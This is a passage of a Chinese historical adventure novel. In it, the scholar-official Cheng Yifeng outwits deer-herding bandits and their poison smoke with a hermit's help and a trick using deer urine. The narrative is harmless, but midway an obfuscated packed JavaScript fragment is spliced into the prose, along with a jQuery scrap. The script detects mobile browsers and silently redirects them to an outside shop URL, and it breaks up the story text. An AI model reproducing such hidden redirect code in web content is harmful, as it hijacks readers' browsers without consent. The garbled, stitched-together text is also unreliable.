话还未说完,只听一阵“保护程大人”的嚷嚷,十来个士兵闯进了村来,估计他们是见程亦风和小莫进村太久,便前来探探究竟,不想正见到小莫躺在地上直哼哼,而程亦风被人“挟持”,于是纷纷抽出腰刀来。 “呵!”黑汉子怪笑,“好大的官威呀,人多老子就怕了吗?”口里一个呼哨,登时有十几条汉子从各间民宅里钻了出来,有持棍棒的,有持扁担的,有拿猎叉的,有拿柴刀的,个个双目圆睁,口中“哇哇”乱叫,立时将士兵的气势压了下去。 程亦风此时细看各人装束,粗布衣衫之外都罩着一片鹿皮,而腰带上都悬了绳子,挂了撮鹿尾巴,有的挂一条,有的挂七八条,以这黑汉子的最多,褐白相间的绒毛在他腰里围了一圈,竟像是女人的裙子一般!这可不是寻常百姓应有的打扮!程亦风心里一紧:莫非此间真有土匪?他们故意逼村民做出安居乐业之态,引我上钩?虽然大军就在村外,交战起来决落不了下风,但伤及村民就是莫大的罪过了! 想着,他忙让部下站住,对黑汉子道:“兄台误会。在下不过是看这村子有世外桃源之美,便来玩赏一番。既然诸位不欢迎,我等这就去了。” 黑汉子厌恶地瞪了他一眼:“你这狗官满嘴咪咪嘛嘛不知说的什么!俺看你们就不像什么好东西,跟先前那个肯定是一路货色,必是来征兵、征粮打仗的。你以为老子傻的么!” 众士兵一听“先前那个”,晓得必是指的冷千山无疑,当即也看出这伙穿着鹿皮的人是匪帮,个个都拉开了架势,道:“大胆蟊贼,劫持朝廷军饷,又要挟朝廷命官,还不快快投降?” 程亦风不由大叫“不好”——明知人家“挟持朝廷命官”,还要叫人投降,这不是提醒人家拿他当人质么! 黑汉子土匪果然不傻,大掌立刻从程亦风的领口滑到了他的咽喉上:“投降么?等俺先杀了这狗官再说!” 士兵逡巡,不敢妄动。 土匪们俱哈哈大笑。那黑汉子道:“朝廷里的军官原来都是一个德行,说到打仗,只会嚷嚷,拼命的事都叫小卒子们去做,有了功劳只管自己收,真真死到临头了,屁用也没有!俺看你这窝囊废连刀都拿不动吧?有胆子和爷爷单打独斗,看爷爷把你砸成肉酱!”又朝士兵们喊道:“你们替这种废物卖命,值得么?” 士兵只持刀以待,并不回答。土匪里爆发出嗤笑声。 程亦风却不发怒,反而笑道:“兄台说话很是有理。程某乃一介书生,手无缚鸡之力,坐上今天这个位置实在是因为朝中无人。而兄台能统帅一方英豪,将耀武将军的精锐全数俘虏,想来骁勇异常,不如在下向朝廷举荐兄台,由兄台来统领兵马,如何?” 黑汉子这次总算听明白了他文绉绉的话,啐了一口,道:“呸,老子才不给狗皇帝卖命。他欺压俺的父老乡亲们,樾国人来打他、杀他——活该!” 程亦风微笑:“照兄台这样说,当今圣上的确有很多不是。不过如今是太子监国,他人虽年少,却心系天下百姓,怎见得将来他不是个关怀民生疾苦的好皇帝?而兄台又如何知道樾国皇帝不是昏庸无道?若是让他入主中原,百姓的生活怎见得会好转?” 黑汉子愣了愣,喝道:“乱放狗屁!爷爷我不知道,难道你这穷酸就知道么?你见过樾国皇帝么?” 程亦风道:“樾国皇帝程某就无福见到。不过我晓得他对惊雷大将军玉旒云言听计从。而这位惊雷大将军杀人不眨眼,程某不才,同她在落雁谷交过锋。当时她俘虏了我军六百多战士,然后统统屠杀。兄台试想,若是让她统辖楚地,难道还不尽发全国男儿出征漠北蛮族吗?” 黑汉子搔搔脑袋,嘟囔道:“鬼晓得你说的是什么!哈,你是要拖延时间,等大队人马来救你,俺可不上你的当!” 程亦风耸耸肩:“我程亦风的性命已在你的手中,还等得及大队人马么?” “程亦风?”黑汉子仿佛吃了一惊,“你就是那个不许兵队渡河的程亦风?”他哈哈大笑:“他娘的,原来你就是这个样子!”一声招呼,其余的土匪都围上来盯着程亦风看。“那狗屁耀武将军关在咱们山寨的大牢里天天就骂你的祖宗十八代。俺本来想,他不是个好东西,你要不是比他还坏,要不就一定是个好人。那天俺听他的手下们抱怨,说,要是他们不听冷千山的,都服了你的命令乖乖在揽江屯田就好了。俺想,世上只有叫士兵去送死的官儿,哪有叫士兵种地的官儿,正想见你一见呢——你就来了。”他松开了程亦风,抱着两臂上下打量:“你来干什么?” “我还能干什么?”程亦风苦笑,“你们劫持了冷将军,又抢走朝廷军饷,我是向诸位英雄讨东西来的。” 众强盗你看看我,我看看你,嘿嘿而笑,觉得这个书生迂腐至极。 小莫却瞅着这个当儿抢上前去,一把将程亦风拉到众士兵的保护之下,横刀当胸,道:“程大人是率领大军前来剿匪的,你们要是识相话就快快投降。” 强盗们“哄”地,笑得更厉害了:“剿匪呀,口气可不小!爷爷们可不怕跟书呆子领的兵队打仗!有什么本事尽管放马过来,爷爷们等着!” 士兵们难免被激怒了,端着刀也骂将回去。 黑汉子抬起手来,示意旁人闭嘴。对程亦风道:“本来觉得你这人挺有意思,打算请你喝一杯,不过既然你是来剿灭俺的,俺就只好对你不客气了。但是俺邱震霆不喜欢以多欺少,也不喜欢仗着俺是本地人就欺负你们人生地不熟。念在你马马虎虎也算是个不错的官儿,今天俺就放你回去,改日咱们明明白白地打一场!” 他自下战书,也不理会程亦风答应不答应,说完了,一挥手,招呼手下就要离开。 小莫等人如何答应?喝声“大胆强盗”,就挥刀追上。程亦风还犹豫着要不要出声喝止,却见黑汉子邱震霆等人把身上的那块鹿皮一扯——竟是个口袋——朝天甩开,便如六月落雪一般,纷纷扬扬撒下一大片白花花的事物。大家都晓得,流氓泼皮和人动起手来最爱撒石灰粉,这东西眯进了眼睛,不瞎也要半日看不见东西;而这伙土匪竟能把冷千山的兵队悉数俘虏,较之一般的流氓泼皮定有过人之处,撒下来的恐怕也不只是石灰这么简单——若是遇到话本里常说的“消骨粉”“化尸散”,岂不糟糕?众士兵连忙朝四下里散开。 土匪们高声大笑,边跑边抛洒不止,转眼已到了几十丈开外。士兵们实在心有不甘,更其中一人惊叫道:“上当了,这是咸盐而已!”余人一听,也都把衣服上沾的白面儿蘸来尝尝,果然就是此一带常见的井盐。士兵们不由得大怒:“程大人,这些土匪净耍些阴险的小把戏,真要打起来,可不是咱们的对手。不如咱们先分几个追上去,一路记号,大人随后发兵搜山,依照记号把这群家伙一网打尽!” 未尝不是一计。不过程亦风在心里对这伙土匪,尤其那个黑汉子邱震霆存了些好奇:他说话虽然粗鄙不堪,却有些实实在在的道理——老百姓哪儿在乎谁坐龙椅?只要有饱饭吃,有衣服穿,有房子住,一家人能生活在一起就够了。 当务之急还是摸清土匪的底细,解救冷千山并追回粮草。程亦风想着,忽然感到手背上一凉,低头看时,不觉吃了一惊:哪里跑来一头鹿,正舔着他的手! 士兵们见到这双眼水灵灵的畜生都很是新奇,方要伸手抚摩,却见不远处又有三五头鹿跑了过来,先探着脑袋四处嗅嗅,便也开始围着众士兵舔舐不止。众人不由得玩心大起,对那光滑如缎的皮毛,毛茸茸的短尾巴,圆鼓鼓的小犄角把玩不歇。 程亦风亦觉此生灵可爱,但他也立即发现情势不妙——简直就像变戏法一般,东南西北前后左右几十头梅花鹿蜂拥而至,众人在不经意间竟已陷入重围。几十对犄角顶来撞去,几十条湿淋淋的舌头上下乱舔,更兼,动物身上天生有骚臭之味,聚集一处,冲得人几欲作呕。虽然士兵们都是兵刃在手,可碍着太祖皇帝的“禁猎令”,谁敢动这些山神半根毫毛?当真苦不堪言。 约略猜出这是土匪们玩的把戏,程亦风记不起哪本书上读到过,梅花鹿嗜盐,邱震霆等人久在此地落草,对这习性必然了如指掌,恐怕当日冷千山也是着了此道儿,兵队叫鹿群一阵横冲直撞,还不阵脚大乱?南方有国以象阵御敌,倒还纯是利用大象笨重威猛,邱震霆让梅花鹿替他打前锋,却是利用楚太祖一条毫无道理的“禁猎令”,真是取巧,又有莫大的讽刺。 想到驻扎在村外的兵队,他心里不由骇异:不知是否也落入邱震霆的圈套之中?倘若他的三千人马也葬送在梅花鹿的手里,京城的主战派就可名正言顺发兵边境,后果不堪设想。 国之存亡岂不大过繁文缛节陈规陋习?程亦风猛力推开咬住自己袖子的一头鹿,呼道:“不要顾忌,杀出去回营!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728588|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 士兵们怔了怔,不信自己的耳朵。 程亦风先夺过身边一人的刀来,道:“将在外,君令尚有所不受,何况这几百年前的规矩?”说着朝一头鹿砍了下去,但那鹿甚是灵巧,腿一踢,躲闪过去。程亦风并不放弃,又挥刀斩下。 士兵见他带了头,也都放下顾虑,提刀砍杀。可偏在此时,只听有人唤道:“慢着!”众人还未看清来者是谁,已见一团火焰划空而落,落在鹿群之中,梅花鹿立刻四散逃窜,转眼都在几丈开外。 众人好是讶异,定睛看来人,不过是半百年纪一个清瘦的男子,身上穿着打了补丁的粗袍,背后背个竹篓,手拖一柄药锄,看来是采药归来的郎中。程亦风感觉有些面善,但怎么也想不起来在何处遇到过。 那郎中上前几步,来拣方才丢下个那团火焰。众人细看,原来是个精巧的灯笼,非纸非纱,不知是何物所制,更巧的是,这样丢在地上也未摔坏,郎中拾了起来,对嘴一吹才熄灭。 大家好不惊奇。小莫道:“老汉,借我看看可好?“ 郎中道:“送你也无妨。”似乎不太想搭理人的样子,把灯笼一递,却是交到了程亦风的手上,自己转身欲走,喃喃道:“规矩定在那里,不是不能破,但是要想想破规矩的结果。今日解围,明日解围,解了初一又解十五,不过解了十五,难道还能解三十么?” 士兵不知道他念叨些什么。程亦风却心中一凛:我破了太祖规矩,就算得胜回朝,主战派那帮惟恐天下不乱的人不晓得要怎样在这事上大做文章,到时……他上前一步:“先生的意思……” 郎中只摆摆手:“不用谢我,你们若杀得这里遍地都是死鹿,晚上引来狼群,我岂不麻烦?”径自拖着药锄往里去,口中吟哦而唱,道:“呦呦鹿鸣,撒盐如冰,纵有千军,寸步难行。呦呦鹿鸣,迷雾如云,如丧考妣,落泪难停。呦呦鹿鸣,仗剑执兵,神出鬼没,束手就擒。呦呦鹿鸣,山有茅亭,世有隐者,不做嘉宾。呜呼!呦呦鹿鸣……”在众人发愣的当儿,已去得远了。 “大人,他——”士兵们莫名其妙。 程亦风玩味着这几句话,越想越有深意:“撒盐如冰”“寸步难行”指的可不就是方才一幕?那么后面的几句又预示着什么?他非得找这郎中问个明白不可!当下拔脚疾追,道:“你们回营去,点亮灯笼篝火,严加防范——先生,先生留步!” 众士兵不敢抗命,只得往回,但仍叫小莫跟着程亦风。时暮色初降,漫天彩霞,两人在户户紧闭房门的村子里追了不多时,棚舍渐渐稀少,地势升高,是往山里去了。又行得片刻,见有茅舍修在林间空地上,郎中走进去,关了门不再出来。 程亦风要上前叫门。小莫拦住他道:“大人,当心有诈,这老头儿和土匪兴许是一伙的,还是回去领些兵士来,拿住他再问话。” 程亦风倒没顾虑过这一点,暗笑自己冲动,但扫一眼茅屋前的小院,见门前靠着一面布幡,上书“铁口直断”四字,登时记起,这个郎中不是旁人,真是当日给他批过命的算命先生!他一时大喜:早觉得此人是个世外高人,在京城中总寻不见他的踪影,原来是在此间隐居! 他赶忙紧走几步,在院门前向内深深一揖,道:“晚生程亦风,拜见先生。” 里面没回答,过了半晌,才传出“咚咚咚”的杂音,屋顶的烟囱冒起了炊烟,人家做起饭来。小莫跺了跺脚:“搞什么鬼?”程亦风让他稍安勿躁,自己又是一揖,道:“月前蒙先生测字赠诗,晚生受益无穷,今日再见先生,惊喜惶恐,还望先生不吝赐教。” 里面这次出声回答了:“大人说什么赐教,可折杀人了,老朽无非是在京城讨不着生活,就到乡下来住着。我满屋油烟,实在不便开门请大人进来。” 程亦风道:“打扰先生了,不知方才……” 他想问那首古诗是何意思,但里面人却打断了他,道:“你远道而来,老朽没什么可招待大人的。大人既然看得起老朽,老朽就再为大人算一卦,如何?请大人出一个字吧!” 程亦风想到:高人自有高人的打算,且看他有何指教。想了想,道:“晚生就出一个‘林’字——双木林,先生请批。” “双木林?”里面人笑道,“大人可真是执着,上次测‘风’,乃是巽卦,此番测‘林’——以大人高才,岂不知《说卦》云‘巽为木’么?你问双木林,又成了个巽卦,回到上次我和大人说过的那些话上——巽为长,为高,为进退,为不果,大人问的是何事呢?” 程亦风本是看到林木葱茏,随口说出一个字,并没有想到要问什么事,这时听到“为进退”“为不果”,似乎不是很好的兆头,因想:若问国家,岂不误了天下百姓?唯有问我自己才无所顾忌,而我这一生,我所思念的那个女子,早就无望了!即微微一笑,问道:“我问姻缘,先生莫笑才好。” 里面人道:“有何可笑?你说我解——巽卦初六,为长女。大人想的那个女子必是众姊妹之长,巽又为风,风行百里,此女子已到了百里之外,风上云宵为高,此女子如今身份尊贵无比,风动不止为躁,此女子和大人必卷入一场纷争之中,也许众叛亲离,也许国破家亡——不过,古称种树可得利市三倍,巽既为木,大人若舍此女子,则前途无量。” 程亦风不过信口问件无望之事,但一番批注却还是使他怔怔起来:是长女?她当日的确带了个妹妹。到了百里之外?难怪我寻她不见!身份尊贵无比?当日人家说不见她皇上会怪罪,必是皇亲国戚无疑。而卷入纷争……他怎么忍心?不过,舍此女子而前途无量,此一条却有些可笑的,此女子跟程亦风半点关联也没有,从不曾得,又如何能舍? 朗声一笑掩饰心中的怅惘,他道:“多谢先生指点。晚生其实倒更想知道方才先生唱的那首‘呦呦鹿鸣’有何隐喻。” “隐喻?”里面人笑道,“藏而不露方为隐,借古说今是为喻。一些事情,假如此时此地已然发生,还叫什么隐喻呢?” 程亦风正是不明白,方要开口再问,却听来路上一阵焦急的脚步,是先前派回营去个几个士兵,满面烟火之色,形状万分狼狈,口中嚷嚷道:“大人,可不得了!” 程亦风忙问究竟。 士兵们道:“我等才回到营里,就闻到腥臭的味道,不知是什么东西,眼睛也刺得生疼。我们看见旁人都流泪不停,问了,他们说不晓得哪里吹来一阵妖风,好浓一片又酸又臭的白雾,大伙儿就又是嗓子疼,又是眼睛疼,咳嗽个不停——大人,这八成是土匪使的阴招,要怎么办才好?” 程亦风拧着眉头:“迷雾如云,如丧考妣,落泪难停”,难怪说“此时此地已然发生”。那么接下来就是“仗剑执兵,神出鬼没,束手就擒”——也许就在这几人报信的当儿,土匪已经杀进营去。 如此大意!军中缺了主帅,岂不更加混乱?他得即刻赶回去!便向茅屋匆匆一礼:“多谢先生提醒,晚生告辞。”招呼士兵欲走。 “等等!”茅屋里一声招呼,门打开了,那老者走了出来,手持一块湿嗒嗒的抹布,道:“老朽独居无聊,难得大人来探望,这块布就做个见面礼吧。” 程亦风接下了,还不及道谢,只觉骚臭之味扑鼻而来。边上众士兵都闻到了,骂:“这是什么?” 老者道:“也不是稀罕物,浸了些鹿溺而已。” 士兵不由齐齐掩鼻,程亦风险些将抹布丢了出去。 老者轻笑,道:“大人今日有事要忙,老朽也怕锅烧糊了,不远送,就此别过!”拱拱手转身回去了,看也不再看众人一眼。 程亦风和士兵们赶回营地,夜幕已经降临,灯火在微风中点点闪烁,一明一暗正和着高高低低的咳嗽声。待走进了,果然闻到刺鼻的酸臭味,眼睛也几乎睁不开。士兵们道:“大人,这时候妖风已经没有先前厉害啦,早些时候根本靠也靠不近!” 程亦风点点头,想要开口说话,只觉鼻腔和喉咙都如火烧一般,不过面对“仗剑执兵,神出鬼没,束手就擒”这迫切的危机,他不得不勉强询问士兵们现下情形如何,四处守卫是否森严。知道士兵们除了流泪与咳嗽之外无甚大碍,提着的心才稍稍放下些——然而掉着的一口气还不敢舒出来:这些山贼放些毒烟决不会是无端端的,定有厉害的后着藏着,则此毒烟的功效大约也不仅仅是叫人咳嗽流泪,兴许还有初时不显症状,稍后才发作的,此时敌暗我明,兵家言知己知彼,而他此刻是一概不知,抓瞎。 我如何是将材!苦笑。 不过这当儿却不是发感慨的时候,不能克敌制胜,至少要保个不输——此刻讲天时,黑暗不可见敌手,论地利,初来乍到,人生地不熟,说人和,士兵为毒烟所害,十成战斗力最多只剩一半,若今夜与山贼交手,只有覆亡的份儿,还不如撤出军营,到山区外的平地上去,进可攻,退可守,混过这一晚再说。 主意定下,即传令下去,叫全营即刻熄灯,士兵一律除下铠甲放在军帐之内,所有人撤到离山半里之处集合。 这计策没什么玄妙,稍微有些头脑的人都立刻听出来:这是要摆个假人阵,引强盗们上钩。可是,三千人马,又不熟悉此间地形,要往哪里埋伏? “不要埋伏。”程亦风道,“强盗从山上而来,必然先进营地。我们有三千人马,等他们深入营地进军帐找人的时候,就一齐杀回来,打他们一个措手不及。” “他们要是再用毒烟呢?”有人问。 “他们要用烟,便不会同时进攻。反正我们军帐中无人,他们放再多的毒烟,也只是白费。” “倘若他们自己有抑制毒烟的方法呢?” “那咱们就睁大眼睛看着,等他们杀到跟前了,把这法子偷学过来。”程亦风道,“我想毒烟的侵害范围应该不是很广,这村中百姓长年来能与强盗为邻,大约总有些互利互惠的关系,强盗用毒烟,必然不会伤害村人。我们退到营地之外,应当不会再受毒烟之害了。” 这计划里充满了推断,着实冒险。但是程亦风既然领军,他说的话就是军令,没人敢不从。约莫半个时辰的工夫,大家就已经退到了营外。 山中入夜颇为凉爽,但虫豸肆虐。不说蚂蚱、蟋蟀时不时地跃出草丛撞到人脸上,就是蚊子“嗡嗡”地飞来飞去,也已经够叫人心烦意乱。程亦风文士出身,除了落雁谷,哪里经历过野战之苦,只埋伏了没有多久,身上已被蚊虫咬了好几个大包,既疼又痒,苦不堪言。他有心要用手拍打蚊虫,却怕引来敌人注意,心里比身上更痛痒难当,只望这些山贼快些出现,双方好速战速决,他就可以离开这虫豸横行之地。 这样挨着,时间一刻一刻地过去了,慢得好像春蚕吐丝,始终不见一丝动静。直到他觉得整张脸都被虫子叮得肿起来了,天色也微微泛白,山林、村庄和营寨在曙色里渐渐清晰,依然不见山贼的身影。 小莫趴在他身边:“大人强盗还会来吗?” 问我?是自嘲还是解嘲,他笑了笑:“应该不会了吧……光天化日之下……”光天化日之下,三千兵马,土匪该不会硬碰硬地冲过来。 “那……我们现在是不是回营去?”小莫问。 程亦风几乎就点头了——士兵们一夜未合眼——但转念一想:如果强盗再放毒烟呢?如果用鹿群冲撞呢?此时没了黑夜的掩护,形势对他更加不利。 然而这样耗着总不是办法。他略想一想,吩咐道:“点两百人同我回去整理兵器粮草,拔了营帐来,重新安扎于此。余下的留在这里静观其变,倘山贼偷袭我,你们就杀出来与之一拼。” 兵士们已经累了一夜,连山贼的头发也没打着半根,心里都窝火不已。现在听了程亦风这个计策,更觉得窝囊,不少人都嘀嘀咕咕地抱怨,有些受主站派言论影响的便议论说:“见了樾军逃跑也就算了,如今见了一个会放点儿毒烟的山贼也要逃跑,传回京去,叫人笑掉大牙了。” 程亦风分明听到,但不发作,他自觉行事为了百姓福利,为了军士性命,哪怕看来懦弱保守,他也问心无愧。当下,点了两百人,回到大营里。 营里一切还同昨夜离开时一样,没有土匪夜探的痕迹。程亦风叫兵士分头做事,自己也不闲着,动手收拾书本、日志。不经意,看到案头肮脏一团,正是那老者给自己的抹布。此时那骚臭的鹿溺想来已干了,但奇怪的是,抹布上竟似有粒粒白盐。程亦风拿起来好奇地一抖,便淅淅沥索罗掉下去好多白闪闪的晶体来。 程亦风不敢轻尝,拈起一粒来细看:溺尿之垢居然这般晶莹剔透么?实在希奇。 莫非这鹿溺是与众不同的?程亦风想起老者世外高人之风,给他一块浸饱鹿溺的抹布,决不会是胡乱戏弄他。 也许破敌之机在于此!他起了兴,点起了烛火来,凑近那些晶体仔细观察。 这一下不要紧,晶体被火烧烤,立刻失水变成了白色的粉末,而程亦风则感到眼睛一阵刺痛,跟着鼻腔和喉咙也烧疼起来,同中了毒烟的感觉一般无二,他连忙向旁边闪开。 难道这就是山贼所使用的毒烟?他心里一亮,捂住口鼻,再次将烛火移近那些白色的粉末,然而这一次,却再也没有“毒烟”弥散出来了。 奇!真是奇!他找到了一些头绪,喜得大叫:“小莫!小莫!” 本来在拆帐篷的小莫应声而入:“大人,什么事?” 程亦风兴奋得满面通红:“快,快给我抓一头鹿来——不,多抓几头,给我接一桶鹿溺来!” 小莫瞪大了眼睛:若不是自己的耳朵坏了,就是程亦风的脑袋坏了。 “快去!”程亦风又催他——只要找到了毒烟的源头,总能找到解毒的法子! 8. 第 8 章 全军将士像看疯子一样看着程亦风,搬粮草的,扎帐篷的,都议论不已:将军这是在做什么?不派密探上山探察敌情,不派士卒回京搬请援兵,就只让人拉了十几头鹿来,守着一桶鹿溺,拿个铁缸子在火上烧煮——只听说童子尿能治病,鹿尿能做什么? 一缸子鹿溺不久就烧干了。程亦风看看,只有污垢,没看到那雪白如盐的结晶,再小心地凑近了嗅一嗅,除了骚臭,没有一点刺鼻的毒烟味。他不气馁,又打了一缸尿,这次换小火慢慢地烤,到快干的时候,熄火让缸里的液体自己结晶,此番果然见到些黄褐色的颗粒,他大喜过望,改大火烧烤,以后扇动空气嗅一嗅,却又失望了,并没有毒烟的味道。 这是怎么一回事?他试了大火,小火,试了加水稀释再过火,试了烤干之后以水淋洗再过火,无一成功。看看都到日头当午了,新营已安扎完毕,众将士都不想再理会他,纷纷钻回帐篷休憩,只小莫还守在旁边:“大人,您究竟在捣鼓什么?” 程亦风抓抓脑袋:“我倒也糊涂了,该是问问那个……” 方要说“采药郎中”,却听耳边一声叹息:“唉,从前听你背《周易》,滚瓜烂熟,还以为你深谙阴阳之道,通晓五行之理,不料是个书呆子!” 程亦风一愣,见那老者背着采药的篓子,手把锄头,正立在自己身旁。他赶忙起身行礼。 老者摇手制止:“受不起,受不起。”说时,把腰里一个球形的皮囊解下了,放在锄头上一磕,皮囊破裂,登时有刺鼻的毒烟味直向程亦风和小莫扑来。 小莫忙把程亦风朝身后一挡,喝道:“大胆蟊贼,暗算我们大人!”跟着就要拔刀将老者拿下。无奈毒烟猛烈,他才说一句话已经咳嗽连连,眼泪也淌了下来。 老者摇了摇头,从腰里又解下一条抹布来,朝盛满鹿溺的桶里一荡,浸湿了,又在空中挥舞了几下。登时,程亦风感觉眼、鼻刺痛大减。当老者挥动了有十来下时,毒烟的味道竟然消失不见了。 小莫还未理会得其中玄机,眼泪一止,又向老者扑去。亏得程亦风一把拉住,向老者长揖到地:“老先生高才,还请指点晚生!” 老者一笑,将抹布丢到他手中:“还指点什么?你难道不是已经悟了么?”说罢转身就走。 程亦风急急追上:“老先生,您几次指点晚生,晚生感激不尽。只是晚生驽钝,老先生昨日所留‘鹿鸣’之诗,可是讲的山贼么?要如何破贼,可否请老先生指点迷津?” 老者脚步不停,道:“老朽有什么才?不过是在这里住得久了,烟雾闻得多了,自己悟出些窍门而已。你要破什么山贼,自己悟出来——世上哪儿有那么多便宜的事,都等别人悟好了告诉你?你这书呆子,当真不可救药!” 他年纪虽大,走起来却健步如飞。程亦风一介书生,本来就追他不上,这时听了他一句似责似嘲的话,更是一愣,眨眼就被老者甩下了。小莫从后跟了上来,道:“大人,这老头儿用毒烟熏咱们,您还请教他什么?” 程亦风摇摇头,止住这冲动的年轻人:“你没发现他挥了几下抹布那毒烟就消失了么?” 小莫怔了怔。使劲吸了几下鼻子:“这也不希奇,本来挥两下手也能赶走臭味嘛。” “不。”程亦风摇头,“假如只是赶走,那么走开几步的距离还是应该能闻到,而他挥了这么几下,毒烟消失得简直无影无踪。依我看,必定是鹿溺中有这毒烟的解药。” 小莫瞪眼不肯相信。 程亦风道:“不信你来看!”当下把老者交给他的抹布对着铁缸子拧了,大火烧烤缸中液体,待快干时,灭了火让缸子自然冷却。不多久,内中液体蒸发结晶,固然有些是黄褐色的污垢,但仍有些程亦风早间见到的洁白色晶体。他拈了一撮儿白色晶体,让小莫靠后捏了鼻子,自己将晶体移近火旁,随着水分消失,晶体变成白色的粉末,两人都感到眼睛一阵刺痛,正是毒烟侵害之相。 小莫惊得大叫:“大人,您……您怎么也造出毒烟来了?” 程亦风笑:“不是我造的,是老先生方才皮囊里的,被鹿溺中的不知什么东西吸收了去,这时遇了火又重新释放出来——昨夜我将老先生给我的沾了鹿溺的抹布忘在军营中,今天看见上面有白色的颗粒,想来也是这种奇特的物质吸收了周遭残留的毒烟所致。世上万物相生相克真是神奇。有了鹿溺,我们就再不怕山贼的毒烟攻击了。” 小莫将信能够疑:“大人是要咱们……都带着鹿尿来打仗么?这鹿尿当真管用吗?” “当然管用。”程亦风脱口而出,但立刻又后悔——毕竟是他猜测出来的,如果不实验一下,也太过冒险。可是要如何实验?思索片刻,他的目光停留在那盛鹿溺的木桶上,登时心中有了主意,吩咐小莫传令下去,把营中所有木盆木桶都装满鹿溺,若没有鹿溺,马溺也可以,务必每座军帐前都有一只这样的桶,营地边的草丛里也要放上一些——越多越好。 小莫听得瞠目结舌,军中更起了轩然大波。而程亦风还有后着——他要士兵同前日一样,把铠甲留在帐内,然后往营外退半里,等土匪上钩。 众人面面相觑:哪有将同一个计策用两次的?而且还是一个不奏效的计策!有人壮着胆子来问他,万一土匪们这夜还不出现,将要如何。 程亦风道:“倘若今晚敌人不来,还有明晚。白天就可用来午睡了。所谓‘兵不厌诈’,敌人必然料不到我们敢以不变应万变,夜夜守株待兔。我想,这些山贼最多不过百余人。他们又用鹿,又用毒烟,就是因为正面交锋不是咱们的对手。我军驻扎在此,对他们始终是个威胁。以他们头一天就向咱们下手来看,这伙匪徒都不是有耐心的家伙。早则今夜,迟则明晚,总该来下手了。” 众人相互交换着眼色,不知要怎么劝才好。 程亦风更还有下文:“况且——”他想说他要试试这鹿溺的效用,但念头一转,又决定暂时不跟外人说——他现在已经太像个疯子了。即便是自己不喜欢领兵这一行,但是行军在外,毕竟还是要有一点威信,要砸招牌,也要等这场仗打完了再说。于是话锋一转,道:“况且今晚我打算留在营中,引这些土匪来犯。” 以身为饵。程亦风是轻率还是胆大?将士们哪怕是背地里笑他疯癫的,也不能眼看着他落到山贼的手里?消息一经传开,劝阻的人哗啦啦来了一大群,见他意志坚决,又有不少人说要陪他留下。程亦风执意不肯,只留了小莫留下护卫。到天黑,兵士按他的计策撤到营外去,程亦风叫小莫站在大帐外守卫,自己剔亮了油灯,于案前坐下读书。 拿的究竟是本什么书,一行行的字,看进了眼,却没看进心里,不知过了多久,一卷书堪堪翻到末尾,觉得双眼仿佛是用得太久了,阵阵刺痛。先还未注意,可心中忽地一闪,又猛地吸了两下鼻子,才意识到是毒烟来了。恰此时,小莫也从外面捂着鼻子挑帘儿进来:“大人,又是毒烟!” 程亦风心里有三分兴奋七分慌张,屏住了呼吸,让小莫把门外那桶鹿溺搬了进来,自己取了一条汗巾浸湿了,在周遭挥舞了几下。果然,刺痛之感大减。他不由欣喜若狂,对小莫轻声道:“怎样?果然灵验吧?” 小莫这回也注意到了,喜得几乎嚷嚷出来,幸亏被程亦风制止了。他就接过手巾来替程亦风赶毒烟。隔一会儿,感觉毒烟有渐涨之势,程亦风就要他重新把手巾在鹿溺中浸泡,再接着舞弄。如此反复过了大约半柱香的时间,小莫已是大汗淋漓了,动作渐渐慢了下来,而程亦风却丝毫不觉双眼有刺痛之感。他又静静坐了片刻,确信周围的毒烟都消失了,就示意小莫住手,悄悄到门外望望,已经几乎嗅不到毒烟了。 小莫“咦”了一声:“大人,难道山贼的毒烟使光了么?” 程亦风自然也有此一疑,然而想起前日毒烟时间长且毒性猛,此番山贼若进攻,不可能不用尽其毒最大限度伤害敌手,是以放毒之量应该不会少于从前。但是毒性只半柱香时间便大大减弱了,应当是他摆放在营地各处的鹿溺马尿起了作用吧?他心下不由大喜,却也不敢十分肯定,就不答复小莫,只叫他小心敌情。 小莫领命,手搭凉棚四下里观望,未几,朝北方一指:“大人,看——” 程亦风顺他所指望去,是鹿鸣山的方向,草木在夜风里萧萧,仿佛人在活动。此所谓“草木皆兵”也!他拍拍小莫,让这孩子别太紧张。然而一句宽慰的话还没出口,就听营地北方一阵明显有异于木叶萧萧的脚步声,黑影攒动,朝这边潜行过来了。 必是山贼!小莫“呛”地拔出刀来,护在程亦风身前:“大人,快举火让咱们的人冲进来!” “不,让他们再走近些。”程亦风道命令,“快咳嗽!”说罢,自己已先咳嗽了起来。 小莫并不驽钝,立刻明白——要引山贼上钩,须使他们相信兵营中的人都中了毒烟,而中了毒烟,岂有不咳之理?他因而也大声地剧烈咳嗽起来。这个兵营中虽然只有他和程亦风两人,但是午夜寂静,声音一经反射,就成了回声振振,一时间,倒仿佛真有许多人在痛苦咳喘一般。 又过得不久,程亦风示意小莫点燃火箭向天发射,自己则高声喊道:“来人啊!哪里来的毒烟?军医呢?” 他这一嚷,入侵者的注意力全集中到了他身上,迅速地朝大帐围拢过来,丝毫也未注意到冲天而上的火箭。 知道自己诱饵的任务已完成,下面就是要保个全身而退了。程亦风招呼小莫:“快,进大帐!”待二人扎进帐的同时,他“扑”地吹灭了灯火,整个大营陷入一片黑暗。而在这黑暗里,他又拉着小莫从大帐的后部钻了出来,急急向众兵士埋伏之处撤退。 未跑开多远,后面闯进营地的山贼们就点起火把来了——如何不发现是上了当?但是悔之晚矣!程亦风的骑兵率先杀了上来,没得一眨眼的工夫,已经把营地团团围住,接着步兵也赶到了,包围圈的火光冲天,亮如白昼。 后来的一切简单得几乎不值得描述:战斗还未打响就结束了,来偷袭的才不过二十余名山贼,在三千士兵的包围下连反抗的机会都没有,大部分直接缴械投降,不投降的也被制服。从程亦风逃出大帐算起,到二十余山贼被绑到他的面前,总共不过一盏茶的工夫。 莫不是在发梦?他拍了拍脑袋,疼,这才确信自己真从这冒险的战斗中胜出了。 